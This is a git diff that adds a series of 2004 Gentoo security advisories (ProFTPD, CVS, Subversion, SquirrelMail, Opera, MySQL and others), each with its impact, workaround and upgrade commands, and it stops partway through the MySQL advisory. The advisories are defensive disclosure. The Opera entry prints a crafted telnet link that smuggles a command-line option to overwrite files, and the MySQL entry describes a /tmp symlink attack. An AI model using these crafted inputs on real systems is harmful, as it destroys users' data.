diff --git a/xml/htdocs/security/en/glsa/glsa-200405-09.xml b/xml/htdocs/security/en/glsa/glsa-200405-09.xml
new file mode 100644
index 00000000..ee35e367
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200405-09.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200405-09">
+  <title>ProFTPD Access Control List bypass vulnerability</title>
+  <synopsis>
+    Version 1.2.9 of ProFTPD introduced a vulnerability that causes CIDR-based
+    Access Control Lists (ACLs) to be treated as &quot;AllowAll&quot;, thereby
+    allowing remote users full access to files available to the FTP daemon.
+  </synopsis>
+  <product type="ebuild">proftpd</product>
+  <announced>May 19, 2004</announced>
+  <revised>May 19, 2004: 01</revised>
+  <bug>49496</bug>
+  <access>remote </access>
+  <affected>
+    <package name="net-ftp/proftpd" auto="yes" arch="*">
+      <unaffected range="ge">1.2.9-r2</unaffected>
+      <vulnerable range="eq">1.2.9-r1</vulnerable>
+      <vulnerable range="eq">1.2.9</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ProFTPD is an FTP daemon.
+    </p>
+  </background>
+  <description>
+    <p>
+    ProFTPD 1.2.9 introduced a vulnerability that allows CIDR-based ACLs (such
+    as 10.0.0.1/24) to be bypassed. The CIDR ACLs are disregarded, with the net
+    effect being similar to an "AllowAll" directive.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    This vulnerability may allow unauthorized files, including critical system
+    files to be downloaded and/or modified, thereby allowing a potential remote
+    compromise of the server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Users may work around the problem by avoiding use of CIDR-based ACLs.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    ProFTPD users are encouraged to upgrade to the latest version of the
+    package:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=net-ftp/proftpd-1.2.9-r2"
+    # emerge ">=net-ftp/proftpd-1.2.9-r2"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0432">CAN-2004-0432</uri>
+  </references>
+  <metadata tag="submitter">
+    klieber
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200405-10.xml b/xml/htdocs/security/en/glsa/glsa-200405-10.xml
new file mode 100644
index 00000000..32a8fb9d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200405-10.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200405-10">
+  <title>Icecast denial of service vulnerability</title>
+  <synopsis>
+    Icecast is vulnerable to a denial of service attack allowing remote users
+    to crash the application.
+  </synopsis>
+  <product type="ebuild">icecast</product>
+  <announced>May 19, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>50935</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/icecast" auto="yes" arch="*">
+      <unaffected range="ge">2.0.1</unaffected>
+      <vulnerable range="le">2.0.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Icecast is a program that streams audio data to listeners over the
+    Internet.
+    </p>
+  </background>
+  <description>
+    <p>
+    There is an out-of-bounds read error in the web interface of Icecast
+    when handling Basic Authorization requests. This vulnerability can
+    theorically be exploited by sending a specially crafted Authorization
+    header to the server.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By exploiting this vulnerability, it is possible to crash the Icecast
+    server remotely, resulting in a denial of service attack.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are advised to
+    upgrade to the latest available version of Icecast.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users of Icecast should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=net-misc/icecast-2.0.1&quot;
+    # emerge &quot;&gt;=net-misc/icecast-2.0.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.xiph.org/archives/icecast/7144.html">Icecast 2.0.1 announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2027">CVE-2004-2027</uri>
+  </references>
+  <metadata tag="submitter">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200405-11.xml b/xml/htdocs/security/en/glsa/glsa-200405-11.xml
new file mode 100644
index 00000000..3282ad9c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200405-11.xml
@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200405-11">
+  <title>KDE URI Handler Vulnerabilities</title>
+  <synopsis>
+    Vulnerabilities in KDE URI handlers makes your system vulnerable to various
+    attacks.
+  </synopsis>
+  <product type="ebuild">kdelibs</product>
+  <announced>May 19, 2004</announced>
+  <revised>May 19, 2004: 01</revised>
+  <bug>51276</bug>
+  <access>remote </access>
+  <affected>
+    <package name="kde-base/kdelibs" auto="yes" arch="*">
+      <unaffected range="ge">3.2.2-r1</unaffected>
+      <unaffected range="eq">3.1.5-r1</unaffected>
+      <vulnerable range="le">3.2.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The K Desktop Environment (KDE) is a powerful Free Software graphical
+    desktop environment. KDE makes use of URI handlers to trigger various
+    programs when specific URLs are received.
+    </p>
+  </background>
+  <description>
+    <p>
+    The telnet, rlogin, ssh and mailto URI handlers in KDE do not check for '-'
+    at the beginning of the hostname passed. By crafting a malicious URI and
+    entice an user to click on it, it is possible to pass an option to the
+    programs started by the handlers (typically telnet, kmail...).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    If the attacker controls the options passed to the URI handling programs,
+    it becomes possible for example to overwrite arbitrary files (possibly
+    leading to denial of service), to open kmail on an attacker-controlled
+    remote display or with an alternate configuration file (possibly leading to
+    control of the user account).
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are advised to upgrade
+    to a corrected version of kdelibs.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Users of KDE 3.1 should upgrade to the corrected version of kdelibs:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv "=kde-base/kdelibs-3.1.5-r1"
+    # emerge "=kde-base/kdelibs-3.1.5-r1"</code>
+    <p>
+    Users of KDE 3.2 should upgrade to the latest available version of kdelibs:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=kde-base/kdelibs-3.2.2-r1"
+    # emerge ">=kde-base/kdelibs-3.2.2-r1"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0411">CAN-2004-0411</uri>
+  </references>
+  <metadata tag="submitter">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200405-12.xml b/xml/htdocs/security/en/glsa/glsa-200405-12.xml
new file mode 100644
index 00000000..5708e3af
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200405-12.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200405-12">
+  <title>CVS heap overflow vulnerability</title>
+  <synopsis>
+    CVS is subject to a heap overflow vulnerability allowing source repository
+    compromise.
+  </synopsis>
+  <product type="ebuild">cvs</product>
+  <announced>May 20, 2004</announced>
+  <revised>May 20, 2004: 01</revised>
+  <bug>51460</bug>
+  <access>remote </access>
+  <affected>
+    <package name="dev-util/cvs" auto="yes" arch="*">
+      <unaffected range="ge">1.11.16</unaffected>
+      <vulnerable range="le">1.11.15</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    CVS (Concurrent Versions System) is an open-source network-transparent
+    version control system. It contains both a client utility and a server.
+    </p>
+  </background>
+  <description>
+    <p>
+    Stefan Esser discovered a heap overflow in the CVS server, which can be
+    triggered by sending malicious "Entry" lines and manipulating the flags
+    related to that Entry. This vulnerability was proven to be exploitable.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker can execute arbitrary code on the CVS server, with the
+    rights of the CVS server. By default, Gentoo uses the "cvs" user to run the
+    CVS server. In particular, this flaw allows a complete compromise of CVS
+    source repositories. If you're not running a server, then you are not
+    vulnerable.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are advised to upgrade
+    to the latest available version of CVS.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users running a CVS server should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=dev-util/cvs-1.11.16"
+    # emerge ">=dev-util/cvs-1.11.16"</code>
+  </resolution>
+  <references>
+    <uri link="http://security.e-matters.de/advisories/072004.html">E-matters advisory 07/2004</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0396">CAN-2004-0396</uri>
+  </references>
+  <metadata tag="submitter">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200405-13.xml b/xml/htdocs/security/en/glsa/glsa-200405-13.xml
new file mode 100644
index 00000000..4a76ee58
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200405-13.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200405-13">
+  <title>neon heap-based buffer overflow</title>
+  <synopsis>
+    A vulnerability potentially allowing remote execution of arbitrary code has
+    been discovered in the neon library.
+  </synopsis>
+  <product type="ebuild">neon</product>
+  <announced>May 20, 2004</announced>
+  <revised>May 20, 2004: 01</revised>
+  <bug>51490</bug>
+  <access>remote </access>
+  <affected>
+    <package name="net-misc/neon" auto="yes" arch="*">
+      <unaffected range="ge">0.24.6</unaffected>
+      <vulnerable range="le">0.24.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    neon provides an HTTP and WebDAV client library.
+    </p>
+  </background>
+  <description>
+    <p>
+    Stefan Esser discovered a vulnerability in the code of the neon library :
+    if a malicious date string is passed to the ne_rfc1036_parse() function, it
+    can trigger a string overflow into static heap variables.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Depending on the application linked against libneon and when connected to a
+    malicious WebDAV server, this vulnerability could allow execution of
+    arbitrary code with the rights of the user running that application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are advised to upgrade
+    to the latest available version of neon.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users of neon should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=net-misc/neon-0.24.6"
+    # emerge ">=net-misc/neon-0.24.6"</code>
+  </resolution>
+  <references>
+    <uri link="http://security.e-matters.de/advisories/062004.html">E-matters advisory 06/2004</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0398">CAN-2004-0398</uri>
+  </references>
+  <metadata tag="submitter">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200405-14.xml b/xml/htdocs/security/en/glsa/glsa-200405-14.xml
new file mode 100644
index 00000000..3f481268
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200405-14.xml
@@ -0,0 +1,76 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200405-14">
+  <title>Buffer overflow in Subversion</title>
+  <synopsis>
+    There is a vulnerability in the Subversion date parsing code which may lead
+    to denial of service attacks, or execution of arbitrary code. Both the
+    client and server are vulnerable.
+  </synopsis>
+  <product type="ebuild">subversion</product>
+  <announced>May 20, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>51462</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-util/subversion" auto="yes" arch="*">
+      <unaffected range="ge">1.0.3</unaffected>
+      <vulnerable range="le">1.0.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Subversion is a version control system intended to eventually replace
+    CVS. Like CVS, it has an optional client-server architecture (where the
+    server can be an Apache server running mod_svn, or an ssh program as in
+    CVS's :ext: method). In addition to supporting the features found in
+    CVS, Subversion also provides support for moving and copying files and
+    directories.
+    </p>
+  </background>
+  <description>
+    <p>
+    All releases of Subversion prior to 1.0.3 have a vulnerability in the
+    date-parsing code. This vulnerability may allow denial of service or
+    arbitrary code execution as the Subversion user. Both the client and
+    server are vulnerable, and write access is NOT required to the server's
+    repository.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    All servers and clients are vulnerable. Specifically, clients that
+    allow other users to write to administrative files in a working copy
+    may be exploited. Additionally all servers (whether they are httpd/DAV
+    or svnserve) are vulnerable. Write access to the server is not
+    required; public read-only Subversion servers are also exploitable.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are encouraged to
+    upgrade to the latest available version.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Subversion users should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=dev-util/subversion-1.0.3&quot;
+    # emerge &quot;&gt;=dev-util/subversion-1.0.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://subversion.tigris.org/servlets/ReadMsg?list=announce&amp;msgNo=125">Subversion Announcement</uri>
+    <uri link="http://security.e-matters.de/advisories/082004.html">E-Matters Advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0397">CVE-2004-0397</uri>
+  </references>
+  <metadata tag="submitter">
+    condordes
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200405-15.xml b/xml/htdocs/security/en/glsa/glsa-200405-15.xml
new file mode 100644
index 00000000..fae074cf
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200405-15.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200405-15">
+  <title>cadaver heap-based buffer overflow</title>
+  <synopsis>
+    There is a heap-based buffer overflow vulnerability in the neon library
+    used in cadaver, possibly leading to execution of arbitrary code when
+    connected to a malicious server.
+  </synopsis>
+  <product type="ebuild">cadaver</product>
+  <announced>May 20, 2004</announced>
+  <revised>May 20, 2004: 01</revised>
+  <bug>51461</bug>
+  <access>remote </access>
+  <affected>
+    <package name="net-misc/cadaver" auto="yes" arch="*">
+      <unaffected range="ge">0.22.2</unaffected>
+      <vulnerable range="le">0.22.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    cadaver is a command-line WebDAV client.
+    </p>
+  </background>
+  <description>
+    <p>
+    Stefan Esser discovered a vulnerability in the code of the neon library
+    (see GLSA 200405-13). This library is also included in cadaver.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    When connected to a malicious WebDAV server, this vulnerability could allow
+    remote execution of arbitrary code with the rights of the user running
+    cadaver.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are advised to upgrade
+    to the latest available version of cadaver.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users of cadaver should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=net-misc/cadaver-0.22.2"
+    # emerge ">=net-misc/cadaver-0.22.2"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0398">CAN-2004-0398</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200405-13.xml">GLSA 200405-13</uri>
+  </references>
+  <metadata tag="submitter">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200405-16.xml b/xml/htdocs/security/en/glsa/glsa-200405-16.xml
new file mode 100644
index 00000000..d854cbba
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200405-16.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200405-16">
+  <title>Multiple XSS Vulnerabilities in SquirrelMail</title>
+  <synopsis>
+    SquirrelMail is subject to several XSS and one SQL injection vulnerability.
+  </synopsis>
+  <product type="ebuild">SquirrelMail</product>
+  <announced>May 25, 2004</announced>
+  <revised>May 27, 2006: 04</revised>
+  <bug>49675</bug>
+  <access>remote</access>
+  <affected>
+    <package name="mail-client/squirrelmail" auto="yes" arch="*">
+      <unaffected range="ge">1.4.3_rc1</unaffected>
+      <vulnerable range="lt">1.4.3_rc1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    SquirrelMail is a webmail package written in PHP. It supports IMAP and
+    SMTP, and can optionally be installed with SQL support.
+    </p>
+  </background>
+  <description>
+    <p>
+    Several unspecified cross-site scripting (XSS) vulnerabilities and a
+    well hidden SQL injection vulnerability were found. An XSS attack
+    allows an attacker to insert malicious code into a web-based
+    application. SquirrelMail does not check for code when parsing
+    variables received via the URL query string.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    One of the XSS vulnerabilities could be exploited by an attacker to
+    steal cookie-based authentication credentials from the user's browser.
+    The SQL injection issue could potentially be used by an attacker to run
+    arbitrary SQL commands inside the SquirrelMail database with privileges
+    of the SquirrelMail database user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are advised to
+    upgrade to version 1.4.3_rc1 or higher of SquirrelMail.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All SquirrelMail users should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=mail-client/squirrelmail-1.4.3_rc1&quot;
+    # emerge &quot;&gt;=mail-client/squirrelmail-1.4.3_rc1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://sourceforge.net/mailarchive/forum.php?thread_id=4199060&amp;forum_id=1988">SquirrelMail 1.4.3_rc1 release annoucement</uri>
+    <uri link="http://www.securityfocus.com/bid/10246/">Bugtraq security annoucement</uri>
+    <uri link="http://www.cert.org/advisories/CA-2000-02.html">CERT description of XSS</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0519">CVE-2004-0519</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0521">CVE-2004-0521</uri>
+  </references>
+  <metadata tag="submitter">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200405-17.xml b/xml/htdocs/security/en/glsa/glsa-200405-17.xml
new file mode 100644
index 00000000..d4448381
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200405-17.xml
@@ -0,0 +1,63 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200405-17">
+  <title>Multiple vulnerabilities in metamail</title>
+  <synopsis>
+    Several format string bugs and buffer overflows were discovered in
+    metamail, potentially allowing execution of arbitrary code remotely.
+  </synopsis>
+  <product type="ebuild">metamail</product>
+  <announced>May 21, 2004</announced>
+  <revised>May 21, 2004: 01</revised>
+  <bug>42133</bug>
+  <access>remote </access>
+  <affected>
+    <package name="net-mail/metamail" auto="yes" arch="*">
+      <unaffected range="ge">2.7.45.3</unaffected>
+      <vulnerable range="lt">2.7.45.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Metamail is a program that decodes MIME encoded mail. It is therefore often
+    automatically called when an email is received or read.
+    </p>
+  </background>
+  <description>
+    <p>
+    Ulf Harnhammar found two format string bugs and two buffer overflow bugs in
+    Metamail.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could send a malicious email message and execute
+    arbitrary code with the rights of the process calling the Metamail program.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users of Metamail should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=net-mail/metamail-2.7.45.3"
+    # emerge ">=net-mail/metamail-2.7.45.3"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0104">CAN-2004-0104</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0105">CAN-2004-0105</uri>
+  </references>
+  <metadata tag="submitter">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200405-18.xml b/xml/htdocs/security/en/glsa/glsa-200405-18.xml
new file mode 100644
index 00000000..5643c175
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200405-18.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200405-18">
+  <title>Buffer Overflow in Firebird</title>
+  <synopsis>
+    A buffer overflow via environmental variables in Firebird may allow a local
+    user to manipulate or destroy local databases and trojan the Firebird
+    binaries.
+  </synopsis>
+  <product type="ebuild">firebird</product>
+  <announced>May 23, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>20837</bug>
+  <access>local</access>
+  <affected>
+    <package name="dev-db/firebird" auto="yes" arch="*">
+      <unaffected range="ge">1.5</unaffected>
+      <vulnerable range="lt">1.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Firebird is an open source relational database that runs on Linux,
+    Windows, and various UNIX systems.
+    </p>
+  </background>
+  <description>
+    <p>
+    A buffer overflow exists in three Firebird binaries (gds_inet_server,
+    gds_lock_mgr, and gds_drop) that is exploitable by setting a large
+    value to the INTERBASE environment variable.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could control program execution, allowing privilege
+    escalation to the UID of Firebird, full access to Firebird databases,
+    and trojaning the Firebird binaries. An attacker could use this to
+    compromise other user or root accounts.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users should upgrade to the latest version of Firebird:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=dev-db/firebird-1.5&quot;
+    # emerge &quot;&gt;=dev-db/firebird-1.5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://securityfocus.com/bid/7546/info/">Bugtraq Security Announcement</uri>
+    <uri link=" http://sourceforge.net/tracker/?group_id=9028&amp;atid=109028&amp;func=detail&amp;aid=739480">Sourceforge BugTracker Announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0281">CVE-2003-0281</uri>
+  </references>
+  <metadata tag="submitter">
+    dmargoli
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200405-19.xml b/xml/htdocs/security/en/glsa/glsa-200405-19.xml
new file mode 100644
index 00000000..a7323d86
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200405-19.xml
@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200405-19">
+  <title>Opera telnet URI handler file creation/truncation vulnerability</title>
+  <synopsis>
+    A vulnerability exists in Opera's telnet URI handler that may allow a
+    remote attacker to overwrite arbitrary files.
+  </synopsis>
+  <product type="ebuild">opera</product>
+  <announced>May 25, 2004</announced>
+  <revised>December 30, 2007: 03</revised>
+  <bug>50857</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/opera" auto="yes" arch="*">
+      <unaffected range="ge">7.50_beta1</unaffected>
+      <vulnerable range="lt">7.50_beta1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Opera is a multi-platform web browser.
+    </p>
+  </background>
+  <description>
+    <p>
+    The telnet URI handler in Opera does not check for leading '-'
+    characters in the host name. Consequently, a maliciously-crafted
+    telnet:// link may be able to pass options to the telnet program
+    itself. One example would be the following:
+    </p>
+    <p>
+    telnet://-nMyFile
+    </p>
+    <p>
+    If MyFile exists in the user's home directory and the user clicking on
+    the link has write permissions to it, the contents of the file will be
+    overwritten with the output of the telnet trace information. If MyFile
+    does not exist, the file will be created in the user's home directory.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    This exploit has two possible impacts. First, it may create new files
+    in the user's home directory. Second, and far more serious, it may
+    overwrite existing files that the user has write permissions to. An
+    attacker with some knowledge of a user's home directory might be able
+    to destroy important files stored within.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Disable the telnet URI handler from within Opera.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Opera users are encouraged to upgrade to the latest version of the
+    program:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=www-client/opera-7.50_beta1&quot;
+    # emerge &quot;&gt;=www-client/opera-7.50_beta1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.idefense.com/application/poi/display?id=104&amp;type=vulnerabilities&amp;flashstatus=true">iDEFENSE Security Advisory 05.12.04</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0473">CVE-2004-0473</uri>
+  </references>
+  <metadata tag="submitter">
+    klieber
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200405-20.xml b/xml/htdocs/security/en/glsa/glsa-200405-20.xml
new file mode 100644
index 00000000..d87d7831
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200405-20.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200405-20">
+  <title>Insecure Temporary File Creation In MySQL</title>
+  <synopsis>
+    Two MySQL utilities create temporary files with hardcoded paths, allowing
+    an attacker to use a symlink to trick MySQL into overwriting important
+    data.
+  </synopsis>
+  <product type="ebuild">MySQL</product>
+  <announced>May 25, 2004</announced>
+  <revised>May 25, 2004: 01</revised>
+  <bug>46242</bug>
+  <access>local </access>
+  <affected>
+    <package name="dev-db/mysql" auto="yes" arch="*">
+      <unaffected range="ge">4.0.18-r2</unaffected>
+      <vulnerable range="lt">4.0.18-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MySQL is a popular open-source multi-threaded, multi-user SQL database
+    server.
+    </p>
+  </background>
+  <description>
+    <p>
+    The MySQL bug reporting utility (mysqlbug) creates a temporary file to log
+    bug reports to. A malicious local user with write access to the /tmp
+    directory could create a symbolic link of the name mysqlbug-<i>N</i>
+    pointing to a protected file, such as /etc/passwd, such that when mysqlbug
+    creates the <i>N</i>th log file, it would end up overwriting the target
+    file. A similar vulnerability exists with the mysql_multi utility, which
+    creates a temporary file called mysql_multi.log.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Since mysql_multi runs as root, a local attacker could use this to destroy
+    any other users' data or corrupt and destroy system files.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    One could modify both scripts to log to a directory that users do not have
+    write permission to, such as /var/log/mysql/.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users should upgrade to the latest stable version of MySQL.
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=dev-db/mysql-4.0.18-r2"
+    # emerge ">=dev-db/mysql-4.0.18-r2"</code>
+  </resolution>
+  <references>
